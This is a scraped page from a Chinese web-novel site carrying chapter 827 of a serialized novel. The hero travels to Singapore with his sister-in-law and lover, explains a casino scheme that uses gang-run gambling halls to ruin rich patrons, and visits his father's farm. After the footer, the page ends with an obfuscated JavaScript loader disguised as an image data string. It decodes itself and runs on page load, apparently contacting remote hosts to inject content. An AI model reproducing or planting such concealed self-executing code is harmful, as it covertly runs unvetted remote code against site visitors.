首页
第827章 天上有仙即好妖
返回

第827章 天上有仙即好妖

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    在香港又待了一天,做了不少事情,在家里坐着听各个公司的掌门人汇报工作,同吴则成喝了个下午茶,晚上向从内地匆匆赶回来的苏丽珍积极纳税,等等。
    次日一早,冼耀文登上了飞机,目的地不是台北,而是新加坡。
    临时接到通知,台风登陆台湾,航班取销,按照他的行程安排,过几日就得飞一趟新加坡处理点事,他调整了行程,先飞新加坡。
    飞机飞往曼谷的途中,他拿出信纸给普密蓬·阿杜德写信。
    当初为了电影事业广撒网,寄给普密蓬·阿杜德的信收到了回信,两人自此一直保持着不算频繁的通信。
    不频繁不是因为聊得不好,而是因为两人的通信地址没个准数,他寄给普密蓬·阿杜德的第一封信地址是曼谷,收到的回信却是从瑞士寄出,他再回信又是从新加坡寄出。
    在信中,两人只聊音乐和电影,不聊其他话题。
    其他也没法聊,聊女人关系不到那个份上,聊政经显得目的性太强,聊点实际的,比如在泰国做点什么,阿杜德即使有心帮忙,也是有心无力,这位学生国王在自己名义上统治的国家并没有话语权,上一回泰国乡下放映队一事可见一斑。
    他的钢笔尖沙沙有声在信纸上摩挲,坐在边上的费宝琪手里拿着一本“剪报小说”,津津有味地看着。
    不知是十三幺的刺激,还是原有的历史本就如此,自去年年底起,香港报纸上的小说连载量一直呈现稳步提高的状态,且百花齐放。
    武侠、鸳蝴皆有,不乏读者捧场,不过,最受欢迎的依然是咸湿文,《十三幺》热销,跟风抢食的自然不少,有的是全面模仿,也有的走出新意。
    务实的向下兼容,行文剔除需要念过五六年书以上才能看懂的文采字眼,只用一些常用字组合成直白的内容,减少会被跳着看的铺垫,直接情节高潮连高潮,争取只认识一两百字的潜在读者。
    文化市场的兴盛,创造了新商机和新就业岗位,如剪报小说,就是字面意思,将报纸上的连载小说剪下来糊在一起装订成册对外贩卖。
    如果是没有连载完的小说,还能花点小钱回去“补页”,看完了也别扔,贩卖的人“高价”回收。
    剪报小说之外,还有精选小说,如咸湿精选,买的人不少,二手交易也很旺盛,但二手的通常有点脏,不讲究的人会用来抹鼻涕以及喷鼻涕与抹鼻涕。
    费宝琪翻到了新的一剪,女人特有的细腻察觉到一丝怪异,这一剪和上一剪的行文风格极度相似,但总感觉不是一个写的。
    她将剪报递到冼耀文眼皮子底下,“耀文,帮我看看这两剪是不是一个人写的。”
    冼耀文瞥了一眼剪报,“你怀疑不是一个人写的,那就不是一个人写的,共用笔名已经不是新鲜事,狗尾续貂也不少见。”
    “还能共用笔名?”费宝琪诧异,“写出名了算谁的?”
    “不知道,目前还没听说关于共用笔名的争端,等哪天有了某个报社编辑被人砍死的传闻,你的问题或许就有答案。”
    “为什么这么说?”费宝琪被勾起兴趣。
    “香港能写文章的人很多,但出名的就那么几个,有名气的不愁饭吃,不管发点什么都能拿到不错的稿费,没名气却经常文字见报,勉强能糊口,没名气又是新入行,会比较惨,向报社投稿通常是石沉大海,即使偶尔能发一两篇,稿费也是菲薄。
    如今小说有市场,报社为了多些内容连载,会分析被热捧的小说并拿出一些大纲给第三类人扩写,有的给一个人,有的同时给几个人,你看的这个,大概就是几人共写的。
    为了掌握主动权,笔名自然属于报社,哪天共同笔名写的小说被追捧,估摸着就是生起波澜,出人命官司也不稀奇。”
    “香港的文人如此艰难?”
    冼耀文轻笑道:“阿姐真不愧是深宅贵妇,不知民间疾苦,台北的文人日子只会更艰难,既没有遍地开花的发文渠道,也没有自由的写作环境,我耳闻梁实秋和台静农都很难以文糊口。”
    费宝琪娇嗔道:“你笑话我。”
    “没有,阿姐继续看小说,我把信写完。”
    “哦。”
    当冼耀文写好信,空姐正好做降落之前的通知,没一会儿的工夫,飞机降落在曼谷廊曼机场。
    技术经停一个小时,乘客可以下机在机场内活动。
    冼耀文在停机坪站了一会,一个地勤人员送过来一个牛皮纸袋。打开,里面是一份工作报告,由班克曼在曼谷出差的职员递交。
    快速看一遍,写了一张纸条让地勤人员带回。
    看着地勤人员远离,费宝琪走到冼耀文身边,“耀文,你以前来过暹罗吗?”
    “来过几次,但从来没有走出机场。”
    费宝琪往远处眺望,“真想出去看看。”
    “这次不行,下次有机会可以专程过来玩几天,不过,阿姐这次也能玩两个地方,返程时我们先飞西贡,逗留半天一夜,我只需要两个小时处理工作,加上晚饭时间见几个人,其他时间都是阿姐的。”
    费宝琪忍住冲进冼耀文怀里的冲动,一脸向往地说:“西贡好玩吗?”
    “应该好玩。”
    “应该?你没去过?”
    “去过,只是上次的心思不在玩上。我在西贡的堤岸盖了一栋楼,安了一个家,我们可以住在家里。”
    “你和谁的家?”
    冼耀文一脸坏笑道:“只有今晚。”
    费宝琪脸上晕染羞涩,“你好讨厌,又笑话我。”
    “呵呵,没有谁,我在西贡没女人。”
    “星洲呢?”
    “阿姐,以后这种问题还是别问,我不喜欢撒谎,会如实回答你,但你听了大概不会高兴。”
    费宝琪坦然地说:“没事的,前面三天我思考了我们的关系,诚然,只是一晚成了我的笑话,我尝鼎一脔,根本舍不得松开你,但是,我知道我们之间没有明天,或主动,或被动,我终有放手的一天。”
    冼耀文没有针对费宝琪的说辞回应,而是回答前面的问题,“金满,我的三姨太,她是星洲人,我和她在星洲有家,和大舅哥住面对面。
    等下一落地,你就能看见水仙,我的八姨太。”
    “蔡金满和水仙我听宝树提起过”
    费宝琪稍稍犹豫,说:“其他男人外面有女人都是藏着掖着,为什么你会主动说?”
    “这个说来话长,我还是长话短说,见过箍桶吗?”
    费宝琪点点头。
    “箍桶是用一片片木板拼凑在一起,假如某一片木板比其他的短,那最终做出来的木桶能装多少水由这片木板决定。
    一对夫妻,无论是媒妁之言,亦或者自由恋爱,能走到一起,都是取决于双方的优点。而分离,非生老病死的分离,是因为无法忍受对方的缺点。
    宝树年纪比我大,多半走在我前面,她离开时会躺在我怀里,她的墓碑上会有我刻的‘吾妻’二字。”
    “晓得了,你对宝树是奔着生死相依,不想中途分离,你们结合伊始,你就让她清楚你的最大缺点。”
    冼耀文淡笑道:“阿姐的理解完全正确,这就是我的婚姻哲学。”
    费宝琪幽幽叹道:“袒露缺点在先,徐徐绽放优点在后,你和其他男人反着来。”
    “或许。”
    费宝琪的目光轻抚冼耀文的脸庞,“你对每个女人都如此吗?”
    她的声音里潜藏着自己未察觉的希冀。
    “大同小异,只是目的未必相同。”
    “还有其他目的?”
    “好男人犹如大部头,篇幅浩繁,不是目的明确想走近,女人不敢轻易翻阅。坏男人犹如磁石,是女人内心深处的躁动与放荡,仅仅一次触动,就是一段故事。
    阿姐,好男人的艳遇,最终都会演变为事故,坏男人的艳遇,始终是一段故事。”
    费宝琪被触动,“我是坏女人,是你的一段故事?”
    “谁又不是谁的一段故事。”
    “一次艳遇吗?”
    冼耀文抬手看了眼手表,淡声说:“阿姐,不要让思想走得太快,倒是脚步可以快一点,我们现在该去趟卫生间,飞机上的卫生间再豪华,还是比不了地面的茅厕。”
    费宝琪嘟了嘟嘴,“你搪塞我。”
    “好了,先收起小囡囡作态,走起来,不然等下会着急忙慌。”
    “不要,你先回答我。”
    “我跟你是偷情,大姨子和妹婿偷情。”冼耀文抵在费宝琪的后腰往前轻推,“往前走。”
    费宝琪娇嗔,“说话真难听。”
    “事实。”
    二十分钟后,飞机再次腾空而起,经过两个半小时的飞行,缓缓落在加冷机场。
    冼耀文和费宝琪走出出站口,站在一辆凯迪拉克-75前的水仙便冲两人挥手,两人走过去,冼耀文抱了抱水仙,旋即松开,绕着车子转了一圈又回到水仙身边。
    “车子坐着舒服吗?”
    “比其他车舒服,但不好开,我只敢在花园里开,不敢开上路。”
    “这个车子的设计就是为了坐着舒服,不是为了开。”又朝着驾驶位打量一眼,冼耀文拉住水仙的手,目光对着费宝琪,“阿姐,这位是我太太水仙。水仙,这位是宝树的姐姐费宝琪。”
    水仙对费宝琪颔首致意,“阿姐好。”
    “你好。”
    费宝琪试图从水仙脸上读到一点信息,但她发现自己失败了,除了笑容,她什么也读不到,只有显露在外的年轻漂亮,一眼就能看懂。
    “阿姐要在这里玩几天,然后跟我一起回台北,你等下打电话去莱佛士酒店订个房间。”
    “嗯?”水仙疑惑道:“阿姐不住家里吗?”
    冼耀文打开后车门,邀费宝琪上车,“住酒店方便一些,也自在一些。”
    “喔。”
    水仙应一声,跟在费宝琪后面钻进车里。
    一路上,水仙负责招待费宝琪,给费宝琪介绍沿途的风景,待车子驶进水仙庄园,又带着费宝琪去客房洗漱。
    冼耀文进主人房,换了一件T恤衫,一条宽松的六分裤,刚换上,水仙走了进来。
    “老爷,怎么让她住酒店?”
    “原因我不是说了。”
    水仙在冼耀文身前往下一蹲,捏住裤腰带帮他系,“她眼里藏不住事,我一看就知道她和老爷有事,她毕竟是姐姐的阿姐,被外人知道了不好,还是住在家里方便。”
    冼耀文呵呵一笑,“你的察言观色功夫见长,正因为我和她有事,我才不让她住你这里,你是为我考虑,我是为她,也为你考虑。”
    水仙站起身,搂住冼耀文的腰,“我好想老爷。”
    冼耀文轻抚水仙的秀发,柔声道:“我的错,这一次隔了这么久才来看你。”
    水仙摇摇头,“我知道老爷忙,就是忍不住想老爷。”
    “福利酒店开业前,会买两三架小飞机用来接送马来亚、印尼的VIP,如果生意好,再买一架大飞机,用来接送更远地方的VIP。
    到时候开发几个香港的VIP,我们就可以蹭飞机坐,我过来,你过去,都很方便。”
    水仙仰起头,莞尔一笑,“客人不一定会答应。”
    冼耀文捧住水仙的脸,“我们可以装成机组人员,给客人倒倒酒送点吃的,机票钱就能省了。”
    水仙一脸认真地说:“飞机飞一次的成本不低,多大的客户才值得飞机接送?”
    “你去过福利酒店的工地吗?”
    “嗯。”
    “看见主楼两边的副楼了吗?”
    “看见了。”
    “那两个是赌厅,以后会承包给别人,一般来说,赌厅的收益酒店拿五成五,承包人拿四成五,但这个分成不是固定的,而是阶梯式的,做得越好,承包人分得越多。
    为了多拿分成,承包人不管是使美人计,还是给人下套,会想尽各种办法引诱富商阔少过来赌,他们下水的速度会很快,万贯家财用不了多久就会输光,他们就是我说的VIP。”
    “老爷,这不就是私会党赌档的做法,做这个事的人叫码子,也叫马仔。”
    “对呀。”冼耀文颔了颔首,“赌博的历史已有数千年,赌档用的手段都是拾古人牙慧,没什么新鲜招数,赌厅唯一新鲜的招数就是承包。
    酒店对赌一事要低调,积德行善要高调,拥护政权要高调,遵纪守法要高调。我们什么都好,就是太容易相信人,被承包人蒙骗,对他的所作所为一概不知。”
    “酒店做好人,让承包人做坏人?”
    冼耀文捏了捏水仙的鼻子,“真聪明,酒店必须是好的,酒店高层的形象必须是正面的,一旦出问题,酒店要挥泪斩马谡,把承包人交给殖民政府法办。”
    水仙笑嘻嘻地说:“承包人拿去的分成是给那些人准备的?”
    “不然呢?”冼耀文淡淡地说:“承包人只有私会党才能做,若是运气好,可能十来年都不会出事,享荣华富贵十来年,在苦窑蹲几年不算委屈。起步就是四成五,岂是谁都有资格拿的。”
    水仙幽幽叹道:“还是那些人好,什么都不用做,钱会自己长脚走进他们口袋。”
    “《西游记》看过吧?”
    水仙眨了眨眼睛,“怎么说到《西游记》?”
    冼耀文揽住水仙的小肩,带着她往外走,“从孙悟空西天取经的经验当中,我们可以总结出一个真理,凡是仙家之妖就是好妖怪,即使吃过几个人,那也只是白璧微瑕,让其自罚三杯,小惩大戒。”
    “《西游记》里我对黄狮精的印象最深,它不主动吃人,买东西还会付钱,却因为偷了孙悟空师兄弟的兵器被一棒打死,肉身也被分而食之,真惨。”
    “黄狮精是自找的,它根本没活明白,妖怪必须是坏的,这是天庭和灵山双方达成的共识,黄狮精身为妖怪不吃人,不强买强卖,这是在打天庭和灵山的脸,也是在动摇统治基础,它只能死。
    如果它吃几个人,抢一些宝贝上贡给天上的神仙,碰到唐僧师徒时,可以配合演场戏,趁机注册正果,求敕封品级,这么一来,它就在天庭挂了号,以后犯事叫违天条,跑跑关系完全能被赦免。”
    冼耀文顿了顿,接着说:“扯远了,我们说回飞机,香港那边大水喉不少,我们有的是机会蹭飞机坐,可能一个月来回十来趟都没问题。”
    “老爷不是说忙完台湾那边会在纽约待一段时间?”
    “事情有了一点变化,手里多了计划外的800万美元,有些既定计划可以提前进行,明年可能要送给航空公司几十万。”
    “哦。”
    水仙的话音一落,两人来到了楼梯角,能瞧见费宝琪坐在客厅的沙发,两人不再交谈,快步来到沙发前。
    冼耀文挨着费宝琪坐下,顺势揽住她的腰,目光却是看向水仙,“最近去过林厝港吗?”
    “我很少去礼夏农场,都是去文记。”
    “文记的生意怎么样?”
    “阿妈很厉害,生意做得很好,就是……”水仙露出玩味的表情,“便利店看中了文记隔壁的铺位,很快会在那里开分店。”
    冼耀文淡笑道:“这样也挺好,阿妈接着要安胎、带孩子,起码两年没法做事。”
    “阿妈在文记花了很多心血,我没敢告诉她便利店是老爷的生意。”
    “没事,有没有跟阿妈说好今天过去吃晚饭?”
    “给阿爸打了电话,他让老爷早点过去,说是从河里抓了不少东西等着老爷去处理。”
    “哦,我们现在过去。”冼耀文在费宝琪背上摩挲几下以示安慰。
    不到半个小时,一行人来到礼夏农场。
    一下车,冼耀文便发现农场的显著变化,农场的外围圈上了围篱,毛竹扎成的网片上爬满夜来香和使君子,进入同样毛竹打造的院门,入眼一面青砖照壁,用灰批弄出石榴图案,寓意多子多福,正中央是吉语“五谷丰登”。
    照壁看着很普通,却又不普通,简直就是文昌围家里照壁的一比一还原。
    绕过照壁,光线一暗,抬头一看原来是葡萄棚架,差不多5米×5米的棚架上爬满了葡萄藤,却不见葡萄垂挂。
    新加坡根本不适合种葡萄,能种活就是奇迹,甭指望吃上葡萄。
    走出棚架,入眼特意设计成九曲十八弯的羊肠小径,隔离区域是一个个小花坛,种着朱顶红、火球花、文殊兰等热带球根。
    花丛中矗立着铜器,一根刻着花纹的柱子顶着一个同样刻着花纹的铜盆,盆中盛水,水中央是月牙形灯盏,点着蜡烛,光影倒映水面,照亮飘浮的白翅飞蚁。
    感情铜器不仅是装饰,还有诱捕白蚁的作用。
    沿着羊肠小径前行,被引到水塘边,∞形的水塘,一半粉莲在怒放,另一半盛放着碗莲。塘边有埠头,一艘峇峇船斜靠在埠头上,一半在岸,一半浸在水里。
    冼耀文走下埠头,探手入水,摸索几下,收回手,手心里多了一个河蚌以及几颗螺蛳。
    峇峇船其实就是木盆船,一个直径两米左右的大木盆当船使,能见到这种船的水塘一般都和珍珠养殖能扯上关系。但是水塘不见珍珠塘的特征,他就猜到冼光礼不是养珍珠,而是养河蚌,宝安随处可见的褶纹冠蚌,土话叫鸡冠蚌。
    鸡冠蚌是宝安最美味的河蚌,壳厚肉实,肉质紧实弹牙,适合炖汤或爆炒,鲜味浓郁,是宝安本地菜河蚌炖豆腐的首选。
    文半夏颇为喜爱爆炒鸡冠蚌,“冼耀文”和冼耀武小时候在外面疯玩半天回家前,都会去河沟里摸点鸡冠蚌带回家,见到鸡冠蚌,冼光礼往往会饶他们半条命,吊在树上抽省略吊这一步骤,他们有机会满院子乱窜,少挨几鞭子。
    将河蚌扔回水里,冼耀文朝峇峇船里瞅了一眼,角落里一片辣椒引起了他的兴趣,拾捡起来,撕下粘在辣椒上的螺蛳厣,凑在鼻下闻了闻,闻到蚌肉特有的腥味。
    爆炒鸡冠蚌加螺蛳肉的残渣出现在峇峇船里,冼耀文一声坏笑,蹲下身,仔细观察峇峇船的各个角落。
    少顷,他在船底发现了支撑他猜想的证据,他笑出声来,对峇峇船直径太长,对螺蛳厣出现在船里的疑问有了解释,没想到老夫老妻不仅浪漫,玩得也花。
    “今天的她,竟跟我泛棹湖上,美景仔细欣赏,平湖若镜,水中的影子也双,这光景最难忘。”
    嘴里轻哼,冼耀文脑子里想着泛舟荷塘是怎样一副光景,相对盘坐,你侬我侬,聊着耀文、耀武,填饱了肚子,峇峇船钻入莲花间,冼光礼安抚文半夏肚中的耀斌,厚着脸皮再造一个耀韬。
    耀文、耀武、耀斌、耀韬、耀墨、耀砚,这是冼耀武爷爷给孙子辈定下的六个男丁姓名,文半夏肚子里的若是儿子,一定是姓冼名耀斌。
    还别说,老两口拼一点,真能用完六个名字,或许还能再生几个女儿。
    “不去屋里,在这里做什么。”
    冼耀文循声回头望去,冼光礼站在埠头高处向下俯望。
    “观荷塘。”冼耀文回了一句,向上走了几步,站在冼光礼下一级台阶,“阿爸,院子弄得很漂亮,花了不少钱吧?”
    “没花几个钱,都是我自己搞的。”冼光礼云淡风轻道。
    “我怎么不知道阿爸还有这个本事。”
    “你没出生前,我在西关大户人家做过两年花匠。”
    冼耀文嬉笑道:“阿爸是不是和大小姐……”
    “没大没小,不要胡说八道。”冼光礼板着脸说:“昨天晚上去河里下了地笼、横针钩,抓了十几斤沼虾、三只鳖,下半夜照了田鸡,今天一大早又去河里放罾,抓了一桶小杂鱼,都在门口放着,等着你处理。”
    “好,我现在去。”
    “等等,红毛鬼找到了?”(本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();